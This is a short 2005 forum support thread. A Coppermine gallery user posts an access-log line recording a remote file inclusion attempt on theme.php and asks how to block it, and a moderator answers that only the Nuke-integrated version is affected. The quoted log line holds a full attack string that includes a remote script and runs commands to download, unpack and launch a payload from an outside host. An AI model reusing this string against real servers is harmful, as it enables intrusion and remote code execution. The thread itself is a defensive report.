forum.coppermine-gallery.net

Support => Older/other versions => cpg1.2 Standalone Support => Topic started by: Mherb on March 26, 2005, 09:15:20 pm

Title: Hackattemp on ../themes/default/theme.php
Post by: Mherb on March 26, 2005, 09:15:20 pm

Code: [Select]

202.95.145.102 - - [26/Mar/2005:18:02:28 +0100] "GET modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.geocities.com/hendra_juzt/inject.txt?&cmd=uname%20-a;id;cd%20/dev/shm;wget%20makassar.us/ary.tar.gz;tar%20zxvf%20ary.tar.gz;cd%20.psy;./config%20REMON%202222;./*beep*;./run HTTP/1.1" 200 12655 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

Even if I am not vulnerable in this way bec. wget and other commands are not allowed except for root, I wonder how I could fix coppermine to not allow this junk.

bye
mherb

Title: Re: Hackattemp on ../themes/default/theme.php
Post by: Nibbler on March 26, 2005, 09:20:35 pm

That's a nuke related vulnerability, standalone coppermine isn't affected.